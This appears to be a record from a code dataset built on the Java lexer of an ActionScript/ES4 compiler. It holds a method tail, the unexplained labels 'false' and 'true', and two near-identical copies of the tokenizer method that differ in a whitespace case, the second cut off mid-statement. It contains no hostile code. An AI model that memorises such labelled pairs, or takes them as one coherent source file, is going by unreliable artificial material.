continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: state = blockcomment_state; continue; } } case blockcommentstar_state: { int c = nextchar(); blockcommentbuf.append(c); switch ( c ) { case '/': { state = start_state; String blocktext = blockcommentbuf.toString(); return makeTokenInstance( BLOCKCOMMENT_TOKEN, blocktext ); } case '*': state = blockcommentstar_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: state = blockcomment_state; continue; // if not a slash, then keep looking for an end comment. } } /* * prefix: // <comment chars> */ case linecomment_state: { state = start_state; end_of_comment: while (true) { int c = nextchar(); switch ( c ) { case '\r': case '\n': // don't include newline in line comment. (Sec 7.3) retract(); if ( save_comments == false ) break end_of_comment; return makeTokenInstance( SLASHSLASHCOMMENT_TOKEN, input.copy() ); case 0: return EOS_TOKEN; } } continue; } /* * utf8sigstart_state */ case utf8sig_state: switch (nextchar()) { case (char) 0xffffffbb: { switch (nextchar()) { case (char) 0xffffffbf: // ISSUE: set encoding scheme to utf-8, and implement support for utf8 state = start_state; continue; // and contine } } } state = error_state; continue; /* * skip error */ case error_state: error(kError_Lexical_General); skiperror(); state = start_state; continue; default: error("invalid scanner state"); state = start_state; return EOS_TOKEN; } } } }
false
true
public int nexttoken(boolean resetState) { String xmltagname = null, doctagname = "description"; StringBuilder doctextbuf = null; int startofxml = pos(); StringBuilder blockcommentbuf = null; char regexp_flags =0; // used to track option flags encountered in a regexp expression. Initialized in regexp_state boolean maybe_reserved = false; if (resetState) { isFirstTokenOnLine = false; } while (true) { if (debug) { System.out.println("state = " + state + ", next = " + pos()); } switch (state) { case start_state: { int c = nextchar(); mark(); switch (c) { case 'a': case 'b': case 'c': case 'd': case 'e': case 'f': case 'g': case 'h': case 'i': case 'j': case 'k': case 'l': case 'm': case 'n': case 'o': case 'p': case 'q': case 'r': case 's': case 't': case 'u': case 'v': case 'w': case 'x': case 'y': case 'z': maybe_reserved = true; case 'A': case 'B': case 'C': case 'D': case 'E': case 'F': case 'G': case 'H': case 'I': case 'J': case 'K': case 'L': case 'M': case 'N': case 'O': case 'P': case 'Q': case 'R': case 'S': case 'T': case 'U': case 'V': case 'W': case 'X': case 'Y': case 'Z': case '_': case '$': state = A_state; continue; case 0xffffffef: state = utf8sig_state; continue; case '@': return AMPERSAND_TOKEN; case '\'': case '\"': { char startquote = (char) c; boolean needs_escape = false; while ( (c=nextchar()) != startquote ) { if ( c == '\\' ) { needs_escape = true; c = nextchar(); // special case: escaped eol strips crlf or lf if ( c == '\r' ) c = nextchar(); if ( c == '\n' ) continue; } else if ( c == '\r' || c == '\n' ) { if ( startquote == '\'' ) error(kError_Lexical_LineTerminatorInSingleQuotedStringLiteral); else error(kError_Lexical_LineTerminatorInDoubleQuotedStringLiteral); break; } else if ( c == 0 ) { error(kError_Lexical_EndOfStreamInStringLiteral); return EOS_TOKEN; } } return makeTokenInstance(STRINGLITERAL_TOKEN, input.copy(needs_escape)); } case '-': // tokens: -- -= - switch (nextchar()) { case '-': return MINUSMINUS_TOKEN; case '=': return MINUSASSIGN_TOKEN; default: retract(); return MINUS_TOKEN; } case '!': // tokens: ! != !=== switch (nextchar()) { case '=': switch (nextchar()) { case '=': return STRICTNOTEQUALS_TOKEN; default: retract(); return NOTEQUALS_TOKEN; } default: retract(); return NOT_TOKEN; } case '%': // tokens: % %= switch (nextchar()) { case '=': return MODULUSASSIGN_TOKEN; default: retract(); return MODULUS_TOKEN; } case '&': // tokens: & &= && &&= switch (nextchar()) { case '&': switch (nextchar()) { case '=': return LOGICALANDASSIGN_TOKEN; default: retract(); return LOGICALAND_TOKEN; } case '=': return BITWISEANDASSIGN_TOKEN; default: retract(); return BITWISEAND_TOKEN; } case '#': if (HAS_HASHPRAGMAS) { return USE_TOKEN; } else { state = error_state; continue; } // # is short for use case '(': return LEFTPAREN_TOKEN; case ')': return RIGHTPAREN_TOKEN; case '*': // tokens: *= * switch (nextchar()) { case '=': return MULTASSIGN_TOKEN; default: retract(); return MULT_TOKEN; } case ',': return COMMA_TOKEN; case '.': state = dot_state; continue; case '/': state = slash_state; continue; case ':': // tokens: : :: switch (nextchar()) { case ':': return DOUBLECOLON_TOKEN; default: retract(); return COLON_TOKEN; } case ';': return SEMICOLON_TOKEN; case '?': return QUESTIONMARK_TOKEN; case '[': return LEFTBRACKET_TOKEN; case ']': return RIGHTBRACKET_TOKEN; case '^': state = bitwisexor_state; continue; case '{': return LEFTBRACE_TOKEN; case '|': // tokens: | |= || ||= switch (nextchar()) { case '|': switch (nextchar()) { case '=': return LOGICALORASSIGN_TOKEN; default: retract(); return LOGICALOR_TOKEN; } case '=': return BITWISEORASSIGN_TOKEN; default: retract(); return BITWISEOR_TOKEN; } case '}': return RIGHTBRACE_TOKEN; case '~': return BITWISENOT_TOKEN; case '+': // tokens: ++ += + switch (nextchar()) { case '+': return PLUSPLUS_TOKEN; case '=': return PLUSASSIGN_TOKEN; default: retract(); return PLUS_TOKEN; } case '<': state = lessthan_state; continue; case '=': // tokens: === == = switch (nextchar()) { case '=': switch (nextchar()) { case '=': return STRICTEQUALS_TOKEN; default: retract(); return EQUALS_TOKEN; } default: retract(); return ASSIGN_TOKEN; } case '>': state = greaterthan_state; continue; case '0': state = zero_state; continue; case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': state = decimalinteger_state; continue; case ' ': // White space case 0x0009: case 0x000b: case 0x000c: case 0x00a0: continue; case '\n': // Line terminators. case '\r': case 0x2028: case 0x2029: isFirstTokenOnLine = true; continue; case 0: return EOS_TOKEN; default: switch (input.classOfNext()) { case Lu: case Ll: case Lt: case Lm: case Lo: case Nl: maybe_reserved = false; state = A_state; continue; default: state = error_state; continue; } } } /* * prefix: <letter> */ case A_state: while ( true ){ int c = nextchar(); if ( c >= 'a' && c <= 'z' ) { continue; } if ( (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') || c == '$' || c == '_' ){ maybe_reserved = false; continue; } if ( c == 0 ) { break; } switch (input.classOfNext()) { case Lu: case Ll: case Lt: case Lm: case Lo: case Nl: case Mn: case Mc: case Nd: case Pc: maybe_reserved = false; continue; } break; } retract(); state = start_state; String s = input.copy(); if ( maybe_reserved ) { Integer i = reservedWord.get(s); if ( i != null ) return (int) i; //int r = screen_rsvd(); //if ( r != 0 ) // return r; } //String s = input.copy(); return makeTokenInstance(IDENTIFIER_TOKEN,s); /* * prefix: 0 * accepts: 0x... | 0X... | 01... | 0... | 0 */ case zero_state: switch (nextchar()) { case 'x': case 'X': switch(nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case 'a': case 'b': case 'c': case 'd': case 'e': case 'f': case 'A': case 'B': case 'C': case 'D': case 'E': case 'F': state = hexinteger_state; break; default: state = start_state; error(kError_Lexical_General); } continue; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case '.': state = decimalinteger_state; continue; case 'E': case 'e': state = exponentstart_state; continue; case 'd': case 'm': case 'i': case 'u': if (!ctx.statics.es4_numerics) retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); default: retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); } /* * prefix: 0x<hex digits> * accepts: 0x123f */ case hexinteger_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case 'a': case 'b': case 'c': case 'd': case 'e': case 'f': case 'A': case 'B': case 'C': case 'D': case 'E': case 'F': state = hexinteger_state; continue; case 'u': case 'i': if (!ctx.statics.es4_numerics) retract(); state = start_state; return makeTokenInstance( NUMBERLITERAL_TOKEN, input.copy() ); default: retract(); state = start_state; return makeTokenInstance( NUMBERLITERAL_TOKEN, input.copy() ); } /* * prefix: . * accepts: .123 | . */ case dot_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': state = decimal_state; continue; case '.': state = doubledot_state; continue; case '<': state = start_state; return DOTLESSTHAN_TOKEN; default: retract(); state = start_state; return DOT_TOKEN; } /* * accepts: .. */ case doubledot_state: state = start_state; if ( nextchar() == '.' ) return TRIPLEDOT_TOKEN; retract(); return DOUBLEDOT_TOKEN; /* * prefix: N * accepts: 0.123 | 1.23 | 123 | 1e23 | 1e-23 */ case decimalinteger_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': state = decimalinteger_state; continue; case '.': state = decimal_state; continue; case 'd': case 'm': case 'u': case 'i': if (!ctx.statics.es4_numerics) retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); case 'E': case 'e': state = exponentstart_state; continue; default: retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); } /* * prefix: N. * accepts: 0.1 | 1e23 | 1e-23 */ case decimal_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': state = decimal_state; continue; case 'd': case 'm': if (!ctx.statics.es4_numerics) retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); case 'E': case 'e': state = exponentstart_state; continue; default: retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); } /* * prefix: ..e * accepts: ..eN | ..e+N | ..e-N */ case exponentstart_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case '+': case '-': state = exponent_state; continue; default: error(kError_Lexical_General); state = start_state; continue; // Issue: needs specific error here. } /* * prefix: ..e * accepts: ..eN | ..e+N | ..e-N */ case exponent_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': state = exponent_state; continue; case 'd': case 'm': if (!ctx.statics.es4_numerics) retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); default: retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); } /* * prefix: / */ case slash_state: switch (nextchar()) { case '/': if (blockcommentbuf == null) blockcommentbuf = new StringBuilder(); state = linecomment_state; continue; case '*': if (blockcommentbuf == null) blockcommentbuf = new StringBuilder(); blockcommentbuf.append("/*"); state = blockcommentstart_state; continue; default: { retract(); // since we didn't use the current character for this decision. if (isSlashDivContext()) { state = slashdiv_state; } else { state = slashregexp_state; } continue; } } /* * tokens: / /= */ case slashdiv_state: state = start_state; switch (nextchar()) { case '>': return XMLTAGENDEND_TOKEN; case '=': return DIVASSIGN_TOKEN; default: retract(); return DIV_TOKEN; } /* * tokens: /<regexpbody>/<regexpflags> */ case slashregexp_state: switch (nextchar()) { case '\\': nextchar(); continue; case '/': regexp_flags = 0; state = regexp_state; continue; case 0: case '\n': case '\r': error(kError_Lexical_General); state = start_state; continue; default: state = slashregexp_state; continue; } /* * tokens: g | i | m | s | x . Note that s and x are custom extentions to match perl's functionality * Also note we handle this via an array of boolean flags intead of state change logic. * (5,1) + (5,2) + (5,3) + (5,4) + (5,5) is just too many states to handle this via state logic */ case regexp_state: switch ( nextchar() ) { case 'g': if ((regexp_flags & 0x01) == 0) { regexp_flags |= 0x01; continue; } error(kError_Lexical_General); state = start_state; continue; case 'i': if ((regexp_flags & 0x02) == 0) { regexp_flags |= 0x02; continue; } error(kError_Lexical_General); state = start_state; continue; case 'm': if ((regexp_flags & 0x04) == 0) { regexp_flags |= 0x04; continue; } error(kError_Lexical_General); state = start_state; continue; case 's': if ((regexp_flags & 0x08) == 0) { regexp_flags |= 0x08; continue; } error(kError_Lexical_General); state = start_state; continue; case 'x': if ((regexp_flags & 0x10) == 0) { regexp_flags |= 0x10; continue; } error(kError_Lexical_General); state = start_state; continue; case 'A': case 'a': case 'B': case 'b': case 'C': case 'c': case 'D': case 'd': case 'E': case 'e': case 'F': case 'f': case 'G': case 'H': case 'h': case 'I': case 'J': case 'j': case 'K': case 'k': case 'L': case 'l': case 'M': case 'N': case 'n': case 'O': case 'o': case 'P': case 'p': case 'Q': case 'q': case 'R': case 'r': case 'S': case 'T': case 't': case 'U': case 'u': case 'V': case 'v': case 'W': case 'w': case 'X': case 'Y': case 'y': case 'Z': case 'z': case '$': case '_': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': error(kError_Lexical_General); state = start_state; continue; default: retract(); state = start_state; return makeTokenInstance( REGEXPLITERAL_TOKEN, input.copy(false) ); } /* * tokens: ^^ ^^= ^= ^ */ case bitwisexor_state: switch (nextchar()) { case '=': state = start_state; return BITWISEXORASSIGN_TOKEN; /* not yet supported case '^': state = logicalxor_state; continue; */ default: retract(); state = start_state; return BITWISEXOR_TOKEN; } /* * tokens: ^^ ^= ^ */ case logicalxor_state: switch (nextchar()) { case '=': state = start_state; return LOGICALXORASSIGN_TOKEN; default: retract(); state = start_state; return LOGICALXOR_TOKEN; } /* * prefix: < */ case lessthan_state: if( isSlashDivContext() ) { switch (nextchar()) { case '<': state = leftshift_state; continue; case '=': state = start_state; return LESSTHANOREQUALS_TOKEN; case '/': state = start_state; return XMLTAGSTARTEND_TOKEN; case '!': state = xmlcommentorcdatastart_state; continue; case '?': state = xmlpi_state; continue; default: retract(); state = start_state; return LESSTHAN_TOKEN; } } else { switch ( nextchar() ) { case '/': state = start_state; return XMLTAGSTARTEND_TOKEN; case '!': state = xmlcommentorcdatastart_state; continue; case '?': state = xmlpi_state; continue; default: retract(); state = start_state; return LESSTHAN_TOKEN; } } /* * prefix: <! */ case xmlcommentorcdatastart_state: switch ( nextchar() ) { case '[': state = xmlcdatastart_state; continue; case '-': state = xmlcommentstart_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatastart_state: switch ( nextchar() ) { case 'C': state = xmlcdatac_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatac_state: switch ( nextchar() ) { case 'D': state = xmlcdatacd_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatacd_state: switch ( nextchar() ) { case 'A': state = xmlcdatacda_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatacda_state: switch ( nextchar() ) { case 'T': state = xmlcdatacdat_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatacdat_state: switch ( nextchar() ) { case 'A': state = xmlcdatacdata_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdatacdata_state: switch ( nextchar() ) { case '[': state = xmlcdata_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcdata_state: switch ( nextchar() ) { case ']': state = xmlcdataendstart_state; continue; case 0: error(kError_Lexical_General); state = start_state; continue; default: state = xmlcdata_state; continue; } case xmlcdataendstart_state: switch ( nextchar() ) { case ']': state = xmlcdataend_state; continue; default: state = xmlcdata_state; continue; } case xmlcdataend_state: switch ( nextchar() ) { case '>': { state = start_state; return makeTokenInstance(XMLMARKUP_TOKEN,getXMLText(startofxml,pos()-1)); } default: state = xmlcdata_state; continue; } case xmlcommentstart_state: switch ( nextchar() ) { case '-': state = xmlcomment_state; continue; default: error(kError_Lexical_General); state = start_state; continue; } case xmlcomment_state: switch ( nextchar() ) { case '-': state = xmlcommentendstart_state; continue; case 0: error(kError_Lexical_General); state = start_state; continue; default: state = xmlcomment_state; continue; } case xmlcommentendstart_state: switch ( nextchar() ) { case '-': state = xmlcommentend_state; continue; default: state = xmlcomment_state; continue; } case xmlcommentend_state: switch ( nextchar() ) { case '>': { state = start_state; return makeTokenInstance(XMLMARKUP_TOKEN,getXMLText(startofxml,pos()-1)); } default: error(kError_Lexical_General); state = start_state; continue; } case xmlpi_state: switch ( nextchar() ) { case '?': state = xmlpiend_state; continue; case 0: error(kError_Lexical_General); state = start_state; continue; default: state = xmlpi_state; continue; } case xmlpiend_state: switch ( nextchar() ) { case '>': { state = start_state; return makeTokenInstance(XMLMARKUP_TOKEN,getXMLText(startofxml,pos()-1)); } default: error(kError_Lexical_General); state = start_state; continue; } case xmltext_state: { switch(nextchar()) { case '<': case '{': { retract(); String xmltext = getXMLText(startofxml,pos()-1); if( xmltext != null ) { state = start_state; return makeTokenInstance(XMLTEXT_TOKEN,xmltext); } else // if there is no leading text, then just return puncutation token to avoid empty text tokens { switch(nextchar()) { case '<': switch( nextchar() ) { case '/': state = start_state; return XMLTAGSTARTEND_TOKEN; case '!': state = xmlcommentorcdatastart_state; continue; case '?': state = xmlpi_state; continue; default: retract(); state = start_state; return LESSTHAN_TOKEN; } case '{': state = start_state; return LEFTBRACE_TOKEN; } } } case 0: state = start_state; return EOS_TOKEN; default: state = xmltext_state; continue; } } case xmlliteral_state: switch (nextchar()) { case '{': // return XMLPART_TOKEN { String xmltext = input.copy(startofxml, pos()-2); return makeTokenInstance(XMLPART_TOKEN, xmltext); } case '<': switch (nextchar()) { case '/': --level; nextchar(); mark(); retract(); state = endxmlname_state; continue; default: ++level; state = xmlliteral_state; continue; } case '/': { switch (nextchar()) { case '>': { --level; if (level == 0) { String xmltext = input.copy(startofxml, pos()); state = start_state; return makeTokenInstance(XMLLITERAL_TOKEN, xmltext); } // otherwise continue state = xmlliteral_state; continue; } default: /*error(kError_Lexical_General);*/ state = xmlliteral_state; continue; // keep going anyway } } case 0: retract(); error(kError_Lexical_NoMatchingTag); state = start_state; continue; default: continue; } case endxmlname_state: // scan name and compare it to start name switch (nextchar()) { case 'A': case 'a': case 'B': case 'b': case 'C': case 'c': case 'D': case 'd': case 'E': case 'e': case 'F': case 'f': case 'G': case 'g': case 'H': case 'h': case 'I': case 'i': case 'J': case 'j': case 'K': case 'k': case 'L': case 'l': case 'M': case 'm': case 'N': case 'n': case 'O': case 'o': case 'P': case 'p': case 'Q': case 'q': case 'R': case 'r': case 'S': case 's': case 'T': case 't': case 'U': case 'u': case 'V': case 'v': case 'W': case 'w': case 'X': case 'x': case 'Y': case 'y': case 'Z': case 'z': case '$': case '_': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case ':': { // stop looking for matching tag if the names diverge String temp = input.copy(); if (xmltagname != null && xmltagname.indexOf(temp) == -1) { state = xmlliteral_state; //level -= 2; } else { state = endxmlname_state; } continue; } case '{': // return XMLPART_TOKEN { if (xmltagname != null) // clear xmltagname since there is an expression in it. { xmltagname = null; } String xmltext = input.copy(startofxml, pos()-2); return makeTokenInstance(XMLPART_TOKEN, xmltext); } case '>': { retract(); String temp = input.copy(); nextchar(); if (level == 0) { if (xmltagname != null) { if (temp.equals(xmltagname)) { String xmltext = input.copy(startofxml, pos()); state = start_state; return makeTokenInstance(XMLLITERAL_TOKEN, xmltext); } } else { String xmltext = input.copy(startofxml, pos()); state = start_state; return makeTokenInstance(XMLLITERAL_TOKEN, xmltext); } } state = xmlliteral_state; continue; } default: state = xmlliteral_state; continue; } /* * tokens: <<= << */ case leftshift_state: switch (nextchar()) { case '=': state = start_state; return LEFTSHIFTASSIGN_TOKEN; default: retract(); state = start_state; return LEFTSHIFT_TOKEN; } /* * prefix: > */ case greaterthan_state: if( isSlashDivContext() ) { switch ( nextchar() ) { case '>': state = rightshift_state; break; case '=': state = start_state; return GREATERTHANOREQUALS_TOKEN; //default: retract(); state = start_state; return greaterthan_token; default: retract(); state = start_state; return GREATERTHAN_TOKEN; } } else { state = start_state; return GREATERTHAN_TOKEN; } /* * prefix: >> >>> >>>= */ case rightshift_state: state = start_state; switch (nextchar()) { case '>': switch (nextchar()) { case '=': return UNSIGNEDRIGHTSHIFTASSIGN_TOKEN; default: retract(); return UNSIGNEDRIGHTSHIFT_TOKEN; } case '=': return RIGHTSHIFTASSIGN_TOKEN; default: retract(); return RIGHTSHIFT_TOKEN; } /* * prefix: /* */ case blockcommentstart_state: { int c = nextchar(); blockcommentbuf.append(c); switch ( c ) { case '*': if ( nextchar() == '/' ){ state = start_state; return makeTokenInstance( BLOCKCOMMENT_TOKEN, new String()); } retract(); state = doccomment_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; case '\n': case '\r': isFirstTokenOnLine = true; default: state = blockcomment_state; continue; } } /* * prefix: /** */ case doccomment_state: { int c = nextchar(); blockcommentbuf.append(c); switch ( c ) { case '*': state = doccommentstar_state; continue; case '@': if (doctextbuf == null) doctextbuf = getDocTextBuffer(doctagname); if( doctagname.length() > 0 ) { doctextbuf.append("]]></").append(doctagname).append(">"); }; doctagname = ""; state = doccommenttag_state; continue; case '\r': case '\n': isFirstTokenOnLine = true; if (doctextbuf == null) doctextbuf = getDocTextBuffer(doctagname); doctextbuf.append('\n'); state = doccomment_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: if (doctextbuf == null) doctextbuf = getDocTextBuffer(doctagname); doctextbuf.append((char)(c)); state = doccomment_state; continue; } } case doccommentstar_state: { int c = nextchar(); blockcommentbuf.append(c); switch ( c ) { case '/': { if (doctextbuf == null) doctextbuf = getDocTextBuffer(doctagname); if( doctagname.length() > 0 ) { doctextbuf.append("]]></").append(doctagname).append(">"); }; String doctext = doctextbuf.toString(); state = start_state; return makeTokenInstance(DOCCOMMENT_TOKEN,doctext); } case '*': state = doccommentstar_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: state = doccomment_state; continue; // if not a slash, then keep looking for an end comment. } } /* * prefix: @ */ case doccommenttag_state: { int c = nextchar(); switch ( c ) { case '*': state = doccommentstar_state; continue; case ' ': case '\r': case '\n': { if (doctextbuf == null) doctextbuf = getDocTextBuffer(doctagname); if( doctagname.length() > 0 ) { doctextbuf.append("\n<").append(doctagname).append("><![CDATA["); }; state = doccomment_state; continue; } case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: doctagname += (char)(c); state = doccommenttag_state; continue; } } /* * prefix: /** */ case doccommentvalue_state: switch ( nextchar() ) { case '*': state = doccommentstar_state; continue; case '@': state = doccommenttag_state; continue; case '\r': case '\n': state = doccomment_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: state = doccomment_state; continue; } /* * prefix: /* */ case blockcomment_state: { int c = nextchar(); blockcommentbuf.append(c); switch ( c ) { case '*': state = blockcommentstar_state; continue; case '\r': case '\n': isFirstTokenOnLine = true; state = blockcomment_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: state = blockcomment_state; continue; } } case blockcommentstar_state: { int c = nextchar(); blockcommentbuf.append(c); switch ( c ) { case '/': { state = start_state; String blocktext = blockcommentbuf.toString(); return makeTokenInstance( BLOCKCOMMENT_TOKEN, blocktext ); } case '*': state = blockcommentstar_state; continue; case 0: error(kError_BlockCommentNotTerminated); state = start_state; continue; default: state = blockcomment_state; continue; // if not a slash, then keep looking for an end comment. } } /* * prefix: // <comment chars> */ case linecomment_state: { state = start_state; end_of_comment: while (true) { int c = nextchar(); switch ( c ) { case '\r': case '\n': // don't include newline in line comment. (Sec 7.3) retract(); if ( save_comments == false ) break end_of_comment; return makeTokenInstance( SLASHSLASHCOMMENT_TOKEN, input.copy() ); case 0: return EOS_TOKEN; } } continue; } /* * utf8sigstart_state */ case utf8sig_state: switch (nextchar()) { case (char) 0xffffffbb: { switch (nextchar()) { case (char) 0xffffffbf: // ISSUE: set encoding scheme to utf-8, and implement support for utf8 state = start_state; continue; // and contine } } } state = error_state; continue; /* * skip error */ case error_state: error(kError_Lexical_General); skiperror(); state = start_state; continue; default: error("invalid scanner state"); state = start_state; return EOS_TOKEN; } } }
public int nexttoken(boolean resetState) { String xmltagname = null, doctagname = "description"; StringBuilder doctextbuf = null; int startofxml = pos(); StringBuilder blockcommentbuf = null; char regexp_flags =0; // used to track option flags encountered in a regexp expression. Initialized in regexp_state boolean maybe_reserved = false; if (resetState) { isFirstTokenOnLine = false; } while (true) { if (debug) { System.out.println("state = " + state + ", next = " + pos()); } switch (state) { case start_state: { int c = nextchar(); mark(); switch (c) { case 'a': case 'b': case 'c': case 'd': case 'e': case 'f': case 'g': case 'h': case 'i': case 'j': case 'k': case 'l': case 'm': case 'n': case 'o': case 'p': case 'q': case 'r': case 's': case 't': case 'u': case 'v': case 'w': case 'x': case 'y': case 'z': maybe_reserved = true; case 'A': case 'B': case 'C': case 'D': case 'E': case 'F': case 'G': case 'H': case 'I': case 'J': case 'K': case 'L': case 'M': case 'N': case 'O': case 'P': case 'Q': case 'R': case 'S': case 'T': case 'U': case 'V': case 'W': case 'X': case 'Y': case 'Z': case '_': case '$': state = A_state; continue; case 0xffffffef: state = utf8sig_state; continue; case '@': return AMPERSAND_TOKEN; case '\'': case '\"': { char startquote = (char) c; boolean needs_escape = false; while ( (c=nextchar()) != startquote ) { if ( c == '\\' ) { needs_escape = true; c = nextchar(); // special case: escaped eol strips crlf or lf if ( c == '\r' ) c = nextchar(); if ( c == '\n' ) continue; } else if ( c == '\r' || c == '\n' ) { if ( startquote == '\'' ) error(kError_Lexical_LineTerminatorInSingleQuotedStringLiteral); else error(kError_Lexical_LineTerminatorInDoubleQuotedStringLiteral); break; } else if ( c == 0 ) { error(kError_Lexical_EndOfStreamInStringLiteral); return EOS_TOKEN; } } return makeTokenInstance(STRINGLITERAL_TOKEN, input.copy(needs_escape)); } case '-': // tokens: -- -= - switch (nextchar()) { case '-': return MINUSMINUS_TOKEN; case '=': return MINUSASSIGN_TOKEN; default: retract(); return MINUS_TOKEN; } case '!': // tokens: ! != !=== switch (nextchar()) { case '=': switch (nextchar()) { case '=': return STRICTNOTEQUALS_TOKEN; default: retract(); return NOTEQUALS_TOKEN; } default: retract(); return NOT_TOKEN; } case '%': // tokens: % %= switch (nextchar()) { case '=': return MODULUSASSIGN_TOKEN; default: retract(); return MODULUS_TOKEN; } case '&': // tokens: & &= && &&= switch (nextchar()) { case '&': switch (nextchar()) { case '=': return LOGICALANDASSIGN_TOKEN; default: retract(); return LOGICALAND_TOKEN; } case '=': return BITWISEANDASSIGN_TOKEN; default: retract(); return BITWISEAND_TOKEN; } case '#': if (HAS_HASHPRAGMAS) { return USE_TOKEN; } else { state = error_state; continue; } // # is short for use case '(': return LEFTPAREN_TOKEN; case ')': return RIGHTPAREN_TOKEN; case '*': // tokens: *= * switch (nextchar()) { case '=': return MULTASSIGN_TOKEN; default: retract(); return MULT_TOKEN; } case ',': return COMMA_TOKEN; case '.': state = dot_state; continue; case '/': state = slash_state; continue; case ':': // tokens: : :: switch (nextchar()) { case ':': return DOUBLECOLON_TOKEN; default: retract(); return COLON_TOKEN; } case ';': return SEMICOLON_TOKEN; case '?': return QUESTIONMARK_TOKEN; case '[': return LEFTBRACKET_TOKEN; case ']': return RIGHTBRACKET_TOKEN; case '^': state = bitwisexor_state; continue; case '{': return LEFTBRACE_TOKEN; case '|': // tokens: | |= || ||= switch (nextchar()) { case '|': switch (nextchar()) { case '=': return LOGICALORASSIGN_TOKEN; default: retract(); return LOGICALOR_TOKEN; } case '=': return BITWISEORASSIGN_TOKEN; default: retract(); return BITWISEOR_TOKEN; } case '}': return RIGHTBRACE_TOKEN; case '~': return BITWISENOT_TOKEN; case '+': // tokens: ++ += + switch (nextchar()) { case '+': return PLUSPLUS_TOKEN; case '=': return PLUSASSIGN_TOKEN; default: retract(); return PLUS_TOKEN; } case '<': state = lessthan_state; continue; case '=': // tokens: === == = switch (nextchar()) { case '=': switch (nextchar()) { case '=': return STRICTEQUALS_TOKEN; default: retract(); return EQUALS_TOKEN; } default: retract(); return ASSIGN_TOKEN; } case '>': state = greaterthan_state; continue; case '0': state = zero_state; continue; case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': state = decimalinteger_state; continue; case ' ': // White space case '\t': case 0x000b: case 0x000c: case 0x00a0: continue; case '\n': // Line terminators. case '\r': case 0x2028: case 0x2029: isFirstTokenOnLine = true; continue; case 0: return EOS_TOKEN; default: switch (input.classOfNext()) { case Lu: case Ll: case Lt: case Lm: case Lo: case Nl: maybe_reserved = false; state = A_state; continue; default: state = error_state; continue; } } } /* * prefix: <letter> */ case A_state: while ( true ){ int c = nextchar(); if ( c >= 'a' && c <= 'z' ) { continue; } if ( (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') || c == '$' || c == '_' ){ maybe_reserved = false; continue; } if ( c == 0 ) { break; } switch (input.classOfNext()) { case Lu: case Ll: case Lt: case Lm: case Lo: case Nl: case Mn: case Mc: case Nd: case Pc: maybe_reserved = false; continue; } break; } retract(); state = start_state; String s = input.copy(); if ( maybe_reserved ) { Integer i = reservedWord.get(s); if ( i != null ) return (int) i; //int r = screen_rsvd(); //if ( r != 0 ) // return r; } //String s = input.copy(); return makeTokenInstance(IDENTIFIER_TOKEN,s); /* * prefix: 0 * accepts: 0x... | 0X... | 01... | 0... | 0 */ case zero_state: switch (nextchar()) { case 'x': case 'X': switch(nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case 'a': case 'b': case 'c': case 'd': case 'e': case 'f': case 'A': case 'B': case 'C': case 'D': case 'E': case 'F': state = hexinteger_state; break; default: state = start_state; error(kError_Lexical_General); } continue; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case '.': state = decimalinteger_state; continue; case 'E': case 'e': state = exponentstart_state; continue; case 'd': case 'm': case 'i': case 'u': if (!ctx.statics.es4_numerics) retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); default: retract(); state = start_state; return makeTokenInstance(NUMBERLITERAL_TOKEN, input.copy()); } /* * prefix: 0x<hex digits> * accepts: 0x123f */ case hexinteger_state: switch (nextchar()) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case 'a': case 'b': case 'c': case 'd': case 'e': case 'f': case 'A': case 'B': case 'C': case 'D': case 'E': case 'F': state = hexinteger_state; continue; case 'u': case 'i': if (!ctx.statics.es4_numerics) retract(); state = start_state; return 